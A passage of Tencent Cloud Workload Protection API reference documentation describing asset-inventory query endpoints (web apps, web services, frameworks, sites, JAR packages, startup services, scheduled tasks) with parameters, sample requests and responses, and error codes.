WebApps	Array of AssetWebAppBaseInfo	Data list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Asset Management Web Application List

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Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebAppList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"WebApps": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Version": "0.1.1",
"RootPath": "/root",
"ServiceType": "Nginx",
"Domain": "www.test.com",
"VirtualPath": "/root",
"PluginCount": 1,
"Id": "10001",
"Desc": "test domain",
"MachineName": "test-name",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
```


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```
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.MissingParameter	Missing parameter.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebServiceInfoList

Last updated：2024-12-06 15:41:53

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management Web services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebServiceInfoList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • User - string - required: no - running user • Name - string - required: no - Web service name: 1:Tomcat 2:Apache 3:Nginx 4:WebLogic 5:Websphere

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			6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - string - required: no - Windows/Linux • Os -String required: no - operating system (the value of DescribeMachineOsList API)
Offset	No	Integer	Offset, which is 0 by default. • IpOrAlias - String - required: no - filter by host IP or alias
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Optional sorting method: [FirstTime|ProcessCount]

3. Output Parameters

Parameter Name	Type	Description
WebServices	Array of AssetWebServiceBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Asset Management Web Service List

Input Example

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```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebServiceInfoList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"WebServices": [
{
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Version": "0.1.1",
"BinPath": "/root",
"User": "root",
"InstallPath": "/root",
"ConfigPath": "/root",
"ProcessCount": 1,
"Id": "128455380",
"MachineName": "test-name",
"Desc": "idesc",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
```


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```
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

TencentCloud API 3.0 integrates SDKs that support various programming languages to make it easier for you to call APIs.

- Tencent Cloud SDK 3.0 for Python
- Tencent Cloud SDK 3.0 for Java
- Tencent Cloud SDK 3.0 for PHP
- Tencent Cloud SDK 3.0 for Go
- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.

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InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetWebAppPluginList

Last updated：2024-12-06 15:41:57

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of asset management Web application plugins.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebAppPluginList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Uuid	Yes	String	Host UUID
Id	Yes	String	Web application ID
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.

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3. Output Parameters

Parameter Name	Type	Description
Plugins	Array of AssetWebAppPluginInfo	Data list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number of partitions
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining the List of Web Application Plugins for Asset Management

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebAppPluginList
<Common request parameters>

{
"Offset": 1,
"Id": "xx",
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82",
"Plugins": [
```

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```
{
"Version": "0.1.1",
"Link": "/bin",
"Name": "test-name",
"Desc": "test app"
}
]
}
}
```

5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for Node.js
- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.

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MissingParameter	Missing parameter error.

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DescribeAssetWebServiceProcessList

Last updated：2024-12-06 15:41:52

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of processes associated with Web services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebServiceProcessList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Host QUUID
Uuid	Yes	String	Host UUID
Id	Yes	String	Web service ID
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.

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3. Output Parameters

Parameter Name	Type	Description
Process	Array of AssetAppProcessInfo	Process list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining a List of Processes Associated with a Web Service

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebServiceProcessList
<Common request parameters>

{
"Offset": 1,
"Id": "xx",
"Limit": 1,
"Uuid": "xx",
"Quuid": "xx"
}
```

Output Example

```
{
"Response": {
"Process": [
{
"Name": "test-name",
```

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```
"Status": "S",
"Version": "0.1.1",
"Path": "/root",
"User": "root",
"StartTime": "2024-10-11 12:23:34"
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebFrameList

Last updated：2024-12-06 15:41:56

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of asset management Web frameworks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebFrameList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name - String - required: no - framework name • NameStrict - String - required: no - framework name (strict match) • Lang - String - required: no - framework language: java/python

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			• Type - String - required: no - service type: 0: all 1:Tomcat 2:Apache 3:Nginx 4:WebLogic 5:Websphere 6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - String - required: no - Windows/Linux • Os -String required: no - operating system (value of DescribeMachineOsList)
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|JarCount]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
WebFrames	Array of AssetWebFrameBaseInfo	Data list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

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4. Example

Example1 Obtaining the List of Asset Management Web Framework

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebFrameList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"WebFrames": [
{
"MachineIp": "1.1.1.1",
"MachineWanIp": "1.1.1.1",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"OsInfo": "CentOs Bit64",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Name": "test-name",
"Version": "0.1.1",
"Lang": "zh_cn",
"ServiceType": "tcp",
"MachineName": "test-name",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineExtraInfo": {
"WanIP": "1.1.1.1",
"PrivateIP": "1.1.1.1",
```


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```
"NetworkType": 0,
"NetworkName": "vpc-id",
"InstanceID": "ins-id",
"HostName": "test-name"
},
"Path": "/root"
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebLocationList

Last updated：2024-12-06 15:41:54

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the list of Web sites.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebLocationList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	No	String	Query the information on the host with the specified QUUID
Filters.N	No	Array of Filter	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name - String - required: no - domain name • User - String - required: no - running user • Port - uint64 - required: no - site port • Proto - uint64 - required: no - site protocol: 1: HTTP; 2: HTTPS

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			• ServiceType - uint64 - required: no - service type: 1:Tomcat 2: Apache 3:Nginx 4:WebLogic 5:Websphere 6:JBoss 7:WildFly 8:Jetty 9:IHS 10:Tengine • OsType - String - required: no - Windows/Linux • Os - String required: no - operating system (value of DescribeMachineOsList)
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime|PathCount]

3. Output Parameters

Parameter Name	Type	Description
Total	Integer	Total number of records
Locations	Array of AssetWebLocationBaseInfo	Site list Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

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Example1 Obtaining Web Site List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebLocationList
<Common request parameters>

{}
```

Output Example


```
{
"Response": {
"Total": 1,
"Locations": [
{
"Uuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"Quuid": "acdd5474-6360-4fd4-bfc7-843162cb8116",
"MachineIp": "10.0.0.11",
"MachineWanIp": "110.84.0.11",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Name": "test-name",
"Port": "22",
"Proto": "tcp",
"ServiceType": "nginx",
"PathCount": 1,
"User": "root",
"MainPath": "/root",
"MainPathOwner": "/root",
"Permission": " ",
"ProjectId": 1,
"Tag": [
{
"Rid": 0,
"Name": "test-name",
"TagId": 1
}
],
"Id": "wfwfw",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
```


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```
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-dsd4",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
}
],
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetWebLocationInfo

Last updated：2024-12-06 15:41:55

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain the Web site details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetWebLocationInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID
Id	Yes	String	Site ID

3. Output Parameters

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Parameter Name	Type	Description
WebLocation	AssetWebLocationInfo	Site information Note: This field may return null, indicating that no valid values can be obtained.
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining Web Site Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetWebLocationInfo
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx",
"Id": "xx"
}
```

Output Example

```
{
"Response": {
"WebLocation": {
"Name": "test-name",
"Port": "22",
"Proto": "tcp",
"ServiceType": "web",
"SafeStatus": 1,
"User": "root",
"MainPath": "/root",
"Command": "sh ******",
"Ip": "10.0.0.11",
```

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```
"UpdateTime": "2024-10-11 12:23:34"
},
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
- Tencent Cloud SDK 3.0 for C++

Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetJarList

Last updated：2024-12-06 15:42:06

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of Jar packages.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetJarList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name- string - required: no - package name • Type- uint - required: no - type 1: application

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			2: system class library3: web service built-in library 4: other dependent packages • Status - string - required: no - whether execution is allowed: 0: no; 1: yes
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of results to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
Jars	Array of AssetJarBaseInfo	Application list Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying Jar Package List

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetJarList
<Common request parameters>
```

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```
{
"Uuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
"Limit": 1,
"Quuid": "65ce6db8-a914-4349-a8b9-d756236686d2",
"Filters": [
{
"Values": [
"10.0.0.1"
],
"Name": "IP",
"ExactMatch": true
}
],
"Offset": 1
}
```

Output Example

```
{
"Response": {
"Jars": [
{
"Name": "test-name",
"Type": 0,
"Status": 1,
"Version": "0.1.1",
"Path": "/root",
"MachineIp": "10.0.0.11",
"MachineName": "test-name",
"OsInfo": "CentOs Bit64",
"Id": "1024",
"Md5": "fc702c8398071ea3697d449c2b894dae",
"Quuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"Uuid": "24c9be55-c743-4a75-a5c7-2a2912341234",
"UpdateTime": "2024-10-11 12:23:34",
"FirstTime": "2024-10-11 12:23:34",
"IsNew": 0,
"MachineWanIp": "110.84.0.11",
"MachineExtraInfo": {
"WanIP": "110.84.0.11",
"PrivateIP": "10.0.0.11",
"NetworkType": 0,
"NetworkName": "vpc-12341234",
"InstanceID": "ins-aj28fjz",
"HostName": "test-name"
}
```

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```
}
],
"Total": 1,
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter	Incorrect parameter.
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.

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InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.
ResourceNotFound	The resource does not exist.

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DescribeAssetJarInfo

Last updated：2024-12-06 15:42:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to obtain Jar package details.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetJarInfo.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Quuid	Yes	String	Server QUUID
Uuid	Yes	String	Server UUID
Id	Yes	String	JAR package ID

3. Output Parameters

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Parameter Name	Type	Description
Jar	AssetJarDetail	JAR package details
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Obtaining JAR Package Details

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetJarInfo
<Common request parameters>

{
"Quuid": "xx",
"Uuid": "xx",
"Id": "xx"
}
```

Output Example

```
{
"Response": {
"Jar": {
"Status": 1,
"OsInfo": "CentOs Bit64",
"UpdateTime": "2024-10-11 12:23:34",
"Name": "test-name",
"Process": [
{
"Status": "S",
"Name": "test-name",
"Version": "0.1.1",
"User": "root",
"StartTime": "2024-10-11 12:23:34",
"Path": "/root"
```

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```
}
],
"MachineName": "test-name",
"Version": "0.1.1",
"Path": "/root",
"Type": 1,
"MachineIp": "10.0.0.11",
"Md5": "708cae4cf814c3deda4208da228fad4e"
},
"RequestId": "37b6df34-68f1-4ab8-a3d8-7b89de604c82"
}
}
```


5. Developer Resources

SDK

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- Tencent Cloud SDK 3.0 for .NET
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Command Line Interface

- Tencent Cloud CLI 3.0

6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error

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InvalidParameter	Incorrect parameter.
InvalidParameterValue	Invalid parameter value.
MissingParameter	Missing parameter error.

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DescribeAssetInitServiceList

Last updated：2024-12-06 15:42:07

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management start services.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer

Try it

API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetInitServiceList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filter criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • Name- string - required: no - package name • User- string - required: no - user

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			• IsAutoRun - string - required: no - whether it starts at boot: 0: no; 1: yes • Status- string - required: no - default enabling status: 0: unenabled; 1: enabled (Linux only) • Type- string - required: no - type: type (Windows only) 1: Encoder 2: IE plugin 3: Network provider 4: Mirror hijacking 5: LSA provider 6:KnownDLLs 7: Start execution 8:WMI 9: Scheduled task 10: Winsock provider 11: Printing monitor 12: Resource manager 13: Driver service 14: Log-in
Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of items to be returned. It is 10 by default, and the maximum value is 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
Services	Array of AssetInitServiceBaseInfo	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other

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		reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Asset Management Startup Services

This example shows you how to query the list of asset management startup services.

Input Example

```
POST / HTTP/1.1
Host: cwp.intl.tencentcloudapi.com
Content-Type: application/json
X-TC-Action: DescribeAssetInitServiceList
<Common request parameters>

{
"Uuid": "01fa34d3-db26-48ab-9f14-e8d3a48be951",
"Limit": 1,
"Quuid": "01fa34d3-db26-48ab-9f14-e8d3a48be951",
"Filters": [
{
"Values": [
"1"
],
"Name": "IsAutoRun",
"ExactMatch": true
}
],
"Offset": 1
}
```

Output Example

```
{
"Response": {
"RequestId": "b7b8a9cd-2470-4ea2-87fb-dd6fea05c32a",
"Services": [
{
"Quuid": "01fa34d3-db26-48ab-9f14-e8d3a48be95e",
"Uuid": "01fa34d3-db26-48ab-9f14-e8d3a48be95e",
"Name": "efslsaext.dll",
"Type": 7,
```

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```
"Status": 1,
"User": "",
"Path": "C:\\Windows\\System32\\efslsaext.dll",
"MachineIp": "172.16.0.1",
"MachineWanIp": "43.138.242.17",
"MachineName": "win-test",
"OsInfo": "Windows Server 2016 Datacenter Edition 64-bit Chinese",
"UpdateTime": "2023-09-20 10:40:21",
"FirstTime": "2023-09-20 10:40:29",
"IsAutoRun": 1,
"IsNew": 1,
"MachineExtraInfo": {
"WanIP": "43.138.242.17",
"PrivateIP": "172.16.0.1",
"NetworkType": 0,
"NetworkName": "",
"InstanceID": "ins-4b90g85x",
"HostName": ""
}
}
],
"Total": 1
}
}
```


5. Developer Resources

SDK

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Command Line Interface

- Tencent Cloud CLI 3.0

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6. Error Code

The following only lists the error codes related to the API business logic. For other error codes, see Common Error Codes.

Error Code	Description
InternalError	Internal error
InvalidParameter.InvalidFormat	Incorrect parameter format.
InvalidParameter.MissingParameter	Missing parameter.
InvalidParameter.ParsingError	Incorrect parameter parsing.
ResourceNotFound	The resource does not exist.

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DescribeAssetPlanTaskList

Last updated：2024-12-06 15:42:04

1. API Description

Domain name for API request: cwp.intl.tencentcloudapi.com.

This API is used to query the list of asset management plan tasks.

A maximum of 20 requests can be initiated per second for this API.

We recommend you to use API Explorer
Try it
API Explorer provides a range of capabilities, including online call, signature authentication, SDK code generation, and API quick search. It enables you to view the request, response, and auto-generated examples.

2. Input Parameters

The following request parameter list only provides API request parameters and some common parameters. For the complete common parameter list, see Common Request Parameters.

Parameter Name	Required	Type	Description
Action	Yes	String	Common Params. The value used for this API: DescribeAssetPlanTaskList.
Version	Yes	String	Common Params. The value used for this API: 2018-02-28.
Region	No	String	Common Params. This parameter is not required.
Uuid	No	String	Server UUID
Quuid	No	String	Server QUUID
Filters.N	No	Array of AssetFilters	Filtering criteria • IP - String - required: no - host IP address • MachineName - String - required: no - host name • InstanceID - string - required: no - instance ID • User- string - required: no - user • Status- int - required: no - default enabling status: 0: disabled; 1: enabled

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Offset	No	Integer	Offset. Default value: 0.
Limit	No	Integer	Number of entries to be returned. Default value: 10. Maximum value: 100.
Order	No	String	Sorting method: asc for ascending order or desc for descending order
By	No	String	Sorting method: [FirstTime]

3. Output Parameters

Parameter Name	Type	Description
Tasks	Array of AssetPlanTask	List Note: This field may return null, indicating that no valid values can be obtained.
Total	Integer	Total number
RequestId	String	The unique request ID, generated by the server, will be returned for every request (if the request fails to reach the server for other reasons, the request will not obtain a RequestId). RequestId is required for locating a problem.

4. Example

Example1 Querying the List of Scheduled Asset Management Tasks

Input Example

```
